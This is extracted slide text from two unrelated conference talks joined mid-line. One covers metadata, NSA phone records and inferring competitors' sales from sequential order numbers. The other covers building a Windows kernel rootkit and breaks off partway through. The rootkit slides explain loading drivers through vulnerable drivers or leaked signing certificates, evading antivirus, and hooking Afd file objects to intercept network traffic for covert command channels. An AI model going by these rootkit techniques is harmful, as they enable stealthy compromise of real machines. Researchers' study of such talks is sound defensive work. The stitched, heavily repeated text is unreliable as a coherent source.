your business?
- Internal data
- Focus on efficiency
a.) knowing operations
b.) knowing resources
- What's happening outside
of your business?
- External data
- Focus on competitiveness
a.) knowing competitors
b.) knowing markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
INTELLIGENCE
BUSINESS
COMPETITIVE
- What's happing within
your business?
- Internal data
- Focus on efficiency
a.) knowing operations
b.) knowing resources
- What's happening outside
of your business?
- External data
- Focus on competitiveness
a.) knowing competitors
b.) knowing markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Applied
Intelligence
Actionable
Intelligence
=
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
1.) If it won't change what you're doing it isn't
useful
2.) Organizations tend to over collect
a.) Higher cost
b.) Increased exposure
3.) Intel is collected for obligatory reasons
MUCH INTELLIGENCE IS USELESS
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
MUCH INTELLIGENCE IS USELESS
1.) If it won't change what you're doing it isn't
useful
2.) Organizations tend to over collect
a.) Higher cost
b.) Increased exposure
3.) Intel is collected for obligatory reasons
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
MUCH INTELLIGENCE IS USELESS
1.) If it won't change what you're doing it isn't
useful
2.) Organizations tend to over collect
a.) Higher cost
b.) Increased exposure
3.) Intel is collected for obligatory reasons
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Collected:
Access time
IP Addresses
Frequency accessed (cookie)
User Agent
Referrer
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
TIME
TRACK 01
TRACK 02
TRACK 03
TRACK 04
DEFCON 101
01:00 PM
02:00 PM
03:00 PM
04:00 PM
05:00 PM
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
TIME
TRACK 01
TRACK 02
TRACK 03
TRACK 04
DEFCON 101
01:00 PM
02:00 PM
03:00 PM
04:00 PM
05:00 PM
Information (in aggregate) could predict talk
popularity and affect planning
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Information
that
isn't there
= Meta data
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta data
The public did not
know much about
meta data before the
Snowden disclosures
Edward Snowden
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
"As you know, this is just meta data.
There is no content involved."
Dianne Feinstein
June 6, 2013 Intelligence Comm. Briefing
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Barack Obama, on NSA Surveillance
June 7, 2014
“Nobody is listening to your telephone calls.
That’s not what this program is about...”
They’re not looking at names and they’re not
looking at content, but sifting through this
so-called meta data...”
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Barack Obama, on NSA Surveillance
June 7, 2014
“Nobody is listening to your telephone calls.
That’s not what this program is about...”
They’re not looking at names and they’re not
looking at content, but sifting through this
so-called meta data...”
$sql = “
sift(*)
from
phone_records
where
person = 'suspect'
”;
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
"We kill people based on meta data."
Former NSA Boss, Michael Hayden
May 11, 2014 Johns Hopkins University
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta data:
1.) Describes other data
2.) Provides context for information
3.) It often doesn't exist & it needs to
be created.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta data:
1.) Describes other data
2.) Provides context for information
3.) It often doesn't exist & it needs to
be created.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta data:
1.) Describes other data
2.) Provides context for information
3.) It often doesn't exist & it needs to
be created.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta data types
1.) Parametric must be collected / created
2.) Embedded user created
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta data types
1.) Parametric must be collected / created
2.) Embedded user created
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta Data: Embedded
XIF Geo-Codes
leaked that
Russian soldiers
were in Ukraine
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta Data: Embedded
The Tony Blair memo
Justification for invading Iraq
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta Data: Embedded
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Meta Data: Embedded
Google CEO, Eric
Schmidt, leaked
the existence of
new project
“Google Drive”
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How the NSA uses
Parametric Meta Data
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Phone meta data collected
by the NSA*:
1.) Phone numbers of parties
2.) The time the call was placed
3.) The duration of the call
4.) Who initiated the call
*https://www.nsa.gov/public_info/_files/speeches_testimonies/2013_08_09_the_nsa_story.pdf
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Phone meta data collected
by the NSA*:
1.) Phone numbers of parties
2.) The time the call was placed
3.) The duration of the call
4.) Who initiated the call
*https://www.nsa.gov/public_info/_files/speeches_testimonies/2013_08_09_the_nsa_story.pdf
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Phone meta data collected
by the NSA*:
1.) Phone numbers of parties
2.) The time the call was placed
3.) The duration of the call
4.) Who initiated the call
*https://www.nsa.gov/public_info/_files/speeches_testimonies/2013_08_09_the_nsa_story.pdf
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Phone meta data collected
by the NSA*:
1.) Phone numbers of parties
2.) The time the call was placed
3.) The duration of the call
4.) Who initiated the call
*https://www.nsa.gov/public_info/_files/speeches_testimonies/2013_08_09_the_nsa_story.pdf
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Phone meta data collected
by the NSA*:
1.) Phone numbers of parties
2.) The time the call was placed
3.) The duration of the call
4.) Who initiated the call
*https://www.nsa.gov/public_info/_files/speeches_testimonies/2013_08_09_the_nsa_story.pdf
The NSA does what
any Android app is
capable of doing
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
With this meta data:
1.) Caller relationships are established
2.) These relationships can be profiled
3.) Anomalies and outliers are identified
4.) “Burner phones” are identified
5.) Phone patterns can be tied to other
events
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
With this meta data:
1.) Caller relationships are established
2.) These relationships can be profiled
3.) Anomalies and outliers are identified
4.) “Burner phones” are identified
5.) Phone patterns can be tied to other
events
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
With this meta data:
1.) Caller relationships are established
2.) These relationships can be profiled
3.) Anomalies and outliers are identified
4.) “Burner phones” are identified
5.) Phone patterns can be tied to other
events
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
With this meta data:
1.) Caller relationships are established
2.) These relationships can be profiled
3.) Anomalies and outliers are identified
4.) “Burner phones” are identified
5.) Phone patterns can be tied to other
events
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
With this meta data:
1.) Caller relationships are established
2.) These relationships can be profiled
3.) Anomalies and outliers are identified
4.) “Burner phones” are identified
5.) Phone patterns can be tied to other
events
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
The phone meta data is richer
than the actual phone
conversations
But the meta data needs to be created.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Practical
competitive
intelligence
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
OPSEC
A reviewal of
day-to-day
operations, to
see what
intelligence an
advisory can
collect.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
EMPLOYMENT
POSTINGS
OPSEC
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
SOCIAL
MEDIA
EMPLOYMENT
POSTINGS
OPSEC
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
SOCIAL
MEDIA
EMPLOYMENT
POSTINGS
ORDER
FULFILLMENT
OPSEC
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
SOCIAL
MEDIA
EMPLOYMENT
POSTINGS
ONLINE
STORE
ORDER
FULFILLMENT
OPSEC
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
SOCIAL
MEDIA
EMPLOYMENT
POSTINGS
ONLINE
STORE
ORDER
FULFILLMENT
OPSEC
PROCUREMENT
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
SOCIAL
MEDIA
EMPLOYMENT
POSTINGS
REGULATORY
ONLINE
STORE
ORDER
FULFILLMENT
OPSEC
PROCUREMENT
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
SOCIAL
MEDIA
EMPLOYMENT
POSTINGS
REGULATORY
ONLINE
STORE
ORDER
FULFILLMENT
OPSEC
COMPETITIVE
INTELLIGENCE
PROCUREMENT
Sequential numbers are a major
privacy threat
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Sequential Numbers
Sequential Numbers are everywhere
Vehicle Identification Numbers
Social Security Numbers
Ticket Numbers
In most cases, what's needed are unique
numbers, not sequential numbers.
Often caused by exposing DB table indexes
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
To show the power of
sequential numbers...
I'm going to tell you how the Social Security
Administration nearly exposed an entire
generation to identity fraud.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
SSN coding 1935 through 1972
XXX – XX – XXXX
AREA GROUP SERIAL
Area
State, Territory or US possession (range)
Group
Used for administration purposes
Serial
Sequential (with a few exceptions)
http://www.ssa.gov/policy/docs/ssb/v45n11/v45n11p29.pdf
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
XXX1
SSA
These people have sequential SSNs
Applying for cards, 1932 - 1972
XXX2
Age 14
Age 15
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
XXX1
SSA
These people have sequential SSNs
Applying for cards, 1932 - 1972
XXX2
Age 14
Age 15
This process changed In 1972
The last for digits
were no longer
sequential
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Parents needed SSNs for all dependents
Tax
Reform
Act of
1986
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
XXX1
XXX2
XXX3
SSA
These children would have
sequential Social Security Numbers
If sequential numbers
were still used in the '80s
Needs SSNs for children
to declare as dependents
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How we use
sequential numbers
in our business
Did we start our business at
the height of a bubble?
Channel Sales
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Bubble or just a bad month?
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
1.) We noticed that order numbers were
incremental
2.) We found two orders, placed closely together,
had SEQUETIAL order numbers
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Bubble or just a bad month?
1.) We noticed that order numbers were
incremental
2.) We found two orders, placed closely together,
had SEQUETIAL order numbers
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Bubble or just a bad month?
Last Order# Oct: 763736
Last Order# Sep: -757225
Qty Oct orders (est) 6511
1.) Our average order was $12.48
2.) Determined our orders were typical
Average Sale: $12.48
Estimated July orders x 6511
Gross Channel Sales $81,257.28
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Last Order# Oct: 763736
Last Order# Sep: -757225
Qty Oct orders (est) 6511
1.) Our average order was $12.48
2.) Determined our orders were typical
Average Sale: $12.48
Estimated July orders x 6511
Gross Channel Sales $81,257.28
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Last Order# Oct: 763736
Last Order# Sep: -757225
Qty Oct orders (est) 6511
1.) Our average order was $12.48
2.) Determined our orders were typical
Average Sale: $12.48
Estimated July orders x 6511
Gross Channel Sales $81,257.28
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Total Channel Sales
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Total Channel Sales
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What else can we learn?
1.) What else do we know?
2.) Channel commission is ~ 20%
3.) They keep $1.25 of the postage
they collect.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What else can we learn?
1.) What else do we know?
2.) Channel commission is ~ 20%
3.) They keep $1.25 of the postage
they collect.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What else can we learn?
1.) What else do we know?
2.) Channel commission is ~ 20%
3.) They keep $1.25 of the postage
they collect.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Here is how much the website earns
in commissions each month
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What else can we learn?
1.) What else do we know?
2.) Channel commission is ~ 20%
3.) They keep $1.25 of the postage
they collect.
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What else can we learn?
Avg Monthly profit: $23913.22
Est Annual profit: $286958.58
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What else can we learn?
Avg Monthly profit: $23913.22
Est Annual profit: $286958.58
This is probably information
They'd prefer not to share
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How do we buy inventory
There are websites
where we buy
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How do we buy inventory
There are websites
where we buy
We sell on multiple
websites, but only
one is “a true market”
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How do we buy inventory
We look for items
And prices here
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How do we buy inventory
We look for items
And prices here
And compare those
prices to the
market value
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How do we buy inventory
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
There are major privacy issues for
resellers that sell unique items
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Truly unique items:
– Real estate
– Vehicles
– Original art
Likely unique items:
– First edition books
– Autographed items
– Most used items
There are major privacy issues for
resellers that sell unique items
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Truly unique items:
– Real estate
– Vehicles
– Original art
Likely unique items:
– First edition books
– Autographed items
– Most used items
There are major privacy issues for
resellers that sell unique items
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What makes the best competitor the best?
INVENTORY
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
Automatically collect the
inventory of our top competitor
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
What makes the best competitor the best?
INVENTORY
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
INVENTORY
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
-------------------
Meta data
describing:
What sold?
How much?
What didn't
sell?
Capture #1
Capture #2
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Meta data
describing:
What sold?
How much?
How long?
What didn't
sell?
Capture #1
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Capture #2
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Capture #3
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Capture #4
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Capture #5
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Capture #6
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Capture #7
INVENTORY
--------------
--------------
--------------
--------------
--------------
--------------
Capture N
What makes the best competitor the best?
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How do we protect our investments?
ACME ITEM #1
#1 seller “A” $1.25
#2 seller “B” $1.25
#3 seller “C” $19.50
#4 seller “D” $20.05
#5 seller “E” $21.95
Search results for
an item we sell
Our price
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
How do we protect our investments?
ACME ITEM #1
#1 seller “A” $1.25
#2 seller “B” $1.25
#3 seller “C” $19.50
#4 seller “D” $20.05
#5 seller “E” $21.95
Search results for
an item we sell
Our price
We immediately
buy the
under-priced items
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Follow me on Twitter
@mgschrenk
Watch defcon.org
for updated slides
@mgschrenk
If you find this subject interesting...
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
@mgschrenk
If you find this subject interesting...
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
If you find this subject interesting...
@mgschrenk
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
If you find this subject interesting...
@mgschrenk
I'm doing a book
signing
@ No Starch
booth in vendor
area | pdf |
Demystifying Modern
Windows Rootkits
Bill Demirkapi
Independent Security Researcher
1
Demystifying Modern Windows Rootkits – DEF CON 28
Who Am I?
▪ 19 years old
▪ Sophomore at the Rochester Institute of Technology
▪
Windows Internals
▪ Mostly self-taught (with guidance)
▪ Strong “Game Hacking” background
2
Demystifying Modern Windows Rootkits – DEF CON 28
What Is This Talk About?
In this talk, we’ll go over…
▪ Loading a rootkit.
▪ Communicating with a rootkit.
▪ Abusing legitimate network communications.
▪ An example rootkit I wrote and the design choices behind it.
▪ Executing commands from kernel.
▪ Tricks to cover up the filesystem trace of your rootkit.
Demystifying Modern Windows Rootkits – DEF CON 28
3
Introduction to
Windows Rootkits
Demystifying Modern Windows Rootkits – DEF CON 28
4
Windows Rootkits: An Overview
Why would you want to use a rootkit?
▪ Kernel drivers have significant access to the machine.
▪ Same privilege level as a typical kernel anti-virus.
▪ Less mitigations and security solutions targeting kernel malware.
▪ Anti-Virus often have less visibility into operations performed by
kernel drivers.
▪ Kernel drivers are often ignored by anti-virus.
Demystifying Modern Windows Rootkits – DEF CON 28
5
Example: Treatment by Anti-Virus
Anti-virus tends to treat kernel drivers with significant trust compared
to user-mode applications.
Demystifying Modern Windows Rootkits – DEF CON 28
6
Excerpt from Carbon Black’s Process/Thread Handle callbacks
Excerpt from Malwarebytes’ Process/Thread Handle callbacks
Loading a Rootkit
Demystifying Modern Windows Rootkits – DEF CON 28
7
Abuse Legitimate Drivers
There are a lot of “vulnerable” drivers. With some reversing
knowledge, finding a “0-day” in a driver can be trivial.
Examples include…
▪ Capcom’s Anti-Cheat driver
▪ Intel’s NAL Driver
▪ Microsoft themselves!
Demystifying Modern Windows Rootkits – DEF CON 28
8
Abuse Legitimate Drivers
Using legitimate drivers has quite a few benefits too:
▪ You only need a few primitives to escalate privilege.
▪ Finding a “vulnerable” driver is relatively trivial (OEM Drivers ).
▪ Difficult to detect due to compatibility reasons.
Demystifying Modern Windows Rootkits – DEF CON 28
9
Abuse Legitimate Drivers
Abusing legitimate drivers comes with some strong drawbacks too…
▪ Major issue of compatibility across operating system versions
depending on the primitives you have.
▪ Much more likely to run into stability issues.
▪ The last thing you want is your malware to BSOD a victim.
Demystifying Modern Windows Rootkits – DEF CON 28
10
Just Buy a Certificate!
For some red teamers, buying a legitimate code signing certificate
might be a good option.
▪ Useful for targeted attacks.
▪ No stability concerns.
But…
▪ Potentially reveals your identity.
▪ Can be blacklisted.
Demystifying Modern Windows Rootkits – DEF CON 28
11
Abuse Leaked Certificates
Instead of buying a certificate yourself, why not just use one from
someone else?
▪ There are quite a few public leaked certificates available to download.
▪ Almost has all the benefits of buying one without deanonymization.
But…
▪ The leaked certificate you use can be detected in the future.
▪ If the certificate was issued after July 29th, 2015, it won’t work on
secure boot machines running certain versions of Windows 10.
Demystifying Modern Windows Rootkits – DEF CON 28
12
Abuse Leaked Certificates
In most cases, Windows doesn’t care if your driver has a certificate that
has expired or was revoked.
Demystifying Modern Windows Rootkits – DEF CON 28
13
Abuse Leaked Certificates
Several leaked certificates are already publicly posted, but it’s not
impossible to find your own.
Demystifying Modern Windows Rootkits – DEF CON 28
14
Abuse Leaked Certificates
Oh and the best part…. most of them are undetected by the bulk of AV:
Demystifying Modern Windows Rootkits – DEF CON 28
15
Communicating with a Rootkit
Demystifying Modern Windows Rootkits – DEF CON 28
16
Beacon Out to a C2
A tried and true method that comes with some downsides is to “call
home”.
▪ Firewalls can block or flag outgoing requests to unknown/suspicious
IP Addresses or ports.
▪ Advanced Network Inspection can catch some exfiltration techniques
that try to “blend in with the noise”.
Demystifying Modern Windows Rootkits – DEF CON 28
17
Open a Port
Some malware takes the route that the C2 connects to the victim
directly to control it.
▪ Relatively simple to setup.
But…
▪ Could be blocked off by a firewall.
▪ Difficult to “blend in with the noise”.
Demystifying Modern Windows Rootkits – DEF CON 28
18
Application Specific Hooking
More advanced malware may opt to hook a specific application’s
communication as a channel of communication.
▪ Difficult to detect, especially if using legitimate protocol.
But…
▪ It’s not very flexible.
▪ A machine might not have that service exposed.
Demystifying Modern Windows Rootkits – DEF CON 28
19
Choosing a Communication Method
What I want…
1. Limited detection vectors.
2. Flexibility for various environments.
My assumptions…
1. Victims machines will have some services exposed.
2. Inbound and outbound access may be monitored.
Demystifying Modern Windows Rootkits – DEF CON 28
20
Choosing a Communication Method
Application Specific Hooking was perfect for my needs, except for the
flexibility.
Is there anyway we could change Application Specific Hooking to where
it isn’t dependent on any single application?
Demystifying Modern Windows Rootkits – DEF CON 28
21
Abusing Legitimate Communication
What if instead of hooking an application directly, we…
▪ Hook network communication, similar to tools like Wireshark.
▪ Place a special indicator in “malicious” packets, a “magic” constant.
▪ Send these “malicious” packets to legitimate ports on the victim
machine.
▪ Search packets for this “magic” constant to pass on data to our
malware.
Demystifying Modern Windows Rootkits – DEF CON 28
22
Hooking the User-Mode Network Stack
Demystifying Modern Windows Rootkits – DEF CON 28
23
Hooking the Windows Winsock Driver
▪ A significant amount of services on Windows can be found in user-
mode, how can we globally intercept this traffic?
▪ Networking relating to WinSock is handled by Afd.sys, otherwise
known as the “Ancillary Function Driver for WinSock”.
▪ Reversing a few functions in mswsock.dll revealed that a bulk of
the communication was done through IOCTLs. If we could intercept
these requests, we could snoop in on the data being received.
Demystifying Modern Windows Rootkits – DEF CON 28
24
How Do Irps Know Where to Go?
When you call NtDeviceIoControlFile on a file handle to a device,
how does the kernel determine what function to call?
Demystifying Modern Windows Rootkits – DEF CON 28
25
Standard Methods of Intercepting Irps
There are a few ways we can intercept Irps, but let’s look at two
common methods.
1. Replace the Major Function you’d like to hook in the driver’s object.
2. Perform a code hook directly on the dispatch handler.
Demystifying Modern Windows Rootkits – DEF CON 28
26
Picking a method
To pick the best method of hooking, here are a few common questions
you should ask.
▪ How many detection vectors are you potentially exposed to?
▪ How "usable" is the method?
▪ How expensive would it be to detect the method?
Demystifying Modern Windows Rootkits – DEF CON 28
27
Hook a Driver Object
▪ How many detection vectors are you potentially exposed to?
▪ Memory artifacts.
▪ How “usable” is the method?
▪ For stability, by replacing a single function with an interlocked exchange, this
method should be stable.
▪ For compatibility, driver objects are well-documented and easy to find.
▪ How expensive would it be to detect the method?
▪ Inexpensive, all anti-virus would need to do is enumerate loaded drivers and
check that the major functions are within the bounds of the driver.
Demystifying Modern Windows Rootkits – DEF CON 28
28
Hook a Driver’s Dispatch Function
▪ How many detection vectors are you potentially exposed to?
▪ Memory artifacts.
▪ How “usable” is the method?
▪ Unless the function is exported, you will need to find the function yourself.
▪ Not all drivers are compatible with this method due to PatchGuard.
▪ HVCI incompatible.
▪ How expensive would it be to detect the method?
▪ Potentially inexpensive and several methods to detect hooking.
Demystifying Modern Windows Rootkits – DEF CON 28
29
Hooking File Objects
I wanted a method that was…
▪ Undocumented.
▪ Stable.
▪ Relatively expensive to detect.
What if instead of hooking the original driver object, we hooked the file
object instead?
Demystifying Modern Windows Rootkits – DEF CON 28
30
How Do Irps Know Where to Go?
typedef struct _FILE_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
...
} FILE_OBJECT;
Demystifying Modern Windows Rootkits – DEF CON 28
31
To retrieve the device associated with the Afd driver, the kernel calls
IoGetRelatedDeviceObject.
What’s stopping us from
overwriting this pointer?
Hooking File Objects
What we can do is…
1. Create our own device object and driver object.
2. Patch our copy of the driver object.
3. Replace the DeviceObject pointer of our file object with our own
device.
Let’s talk about how we would go about doing this.
Demystifying Modern Windows Rootkits – DEF CON 28
32
Hooking File Objects
Let’s start by finding a file object to hook. We’re after handles to
\Device\Afd, but how can we find these objects?
Demystifying Modern Windows Rootkits – DEF CON 28
33
typedef enum _SYSTEM_INFORMATION_CLASS
{
...
SystemHandleInformation,
...
} SYSTEM_INFORMATION_CLASS,
*PSYSTEM_INFORMATION_CLASS;
Hooking File Objects
The SystemHandleInformation class allows us to query all handles
on the system, including…
▪ The process ID the handle belongs to.
▪ The kernel pointer of the object associated with the handle.
If we open the Afd device ourselves, we can easily recognize file objects
that are for the Afd device.
Demystifying Modern Windows Rootkits – DEF CON 28
34
Hooking File Objects
Before we can overwrite the DeviceObject member, we need to create
our fake objects first. Fortunately, the kernel exports the function it
uses itself to create these objects.
All we need to do is call ObCreateObject passing the
IoDriverObjectType or IoDeviceObjectType to create our fake
objects.
We can copy the existing objects over to contain the same member
values.
Demystifying Modern Windows Rootkits – DEF CON 28
35
Hooking File Objects
With our fake objects created, we’re almost ready to set the
DeviceObject of the file object. First though, we need to hook our
driver object.
We can use the standard “Hook a Driver Object” method, except
instead of performing it on the original driver object, we’ll use it on a
fake driver object used exclusively for our hooks.
Demystifying Modern Windows Rootkits – DEF CON 28
36
Hooking File Objects
To prevent race conditions while replacing the device object member,
the original device object we use inside of our hooked dispatch must be
set at the same time we the DeviceObject member of the file object.
To do this, simply perform an interlocked exchange of the original
device object and the device object our hook uses.
Demystifying Modern Windows Rootkits – DEF CON 28
37
Hooking File Objects
Now that we’ve hooked the file object, there is not much work left.
In our dispatch hook, we need to…
1. Check if we are hooking the MajorFunction being called.
1.
If we are, call the hook function passing the original device object and
original dispatch function for that MajorFunction.
2. Make sure to restore the original DeviceObject when the
MajorFunction is IRP_MJ_CLEANUP.
Demystifying Modern Windows Rootkits – DEF CON 28
38
Hooking File Objects
▪ How many detection vectors are you potentially exposed to?
▪ Memory artifacts.
▪ How “usable” is the method?
▪ Most of the functions we use are at least semi-documented and unlikely to
change significantly.
▪ How expensive would it be to detect the method?
▪ Expensive, an anti-virus would have to replicate our hooking process and
enumerate file objects to determine if the device/driver object was swapped.
Demystifying Modern Windows Rootkits – DEF CON 28
39
How the Spectre Rootkit Abuses the
User-Mode Network Stack
Demystifying Modern Windows Rootkits – DEF CON 28
40
Abusing the Network
Using the File Object hook, we can now intercept Irps to the Afd driver.
This allows us to…
▪ Intercept all user-mode networking traffic.
▪ Send and receive our own data over any socket.
Demystifying Modern Windows Rootkits – DEF CON 28
41
Abusing the Network
To review, our existing plan is to…
▪ Hook network communication, similar to tools like Wireshark.
▪ Place a special indicator in “malicious” packets, a “magic” constant.
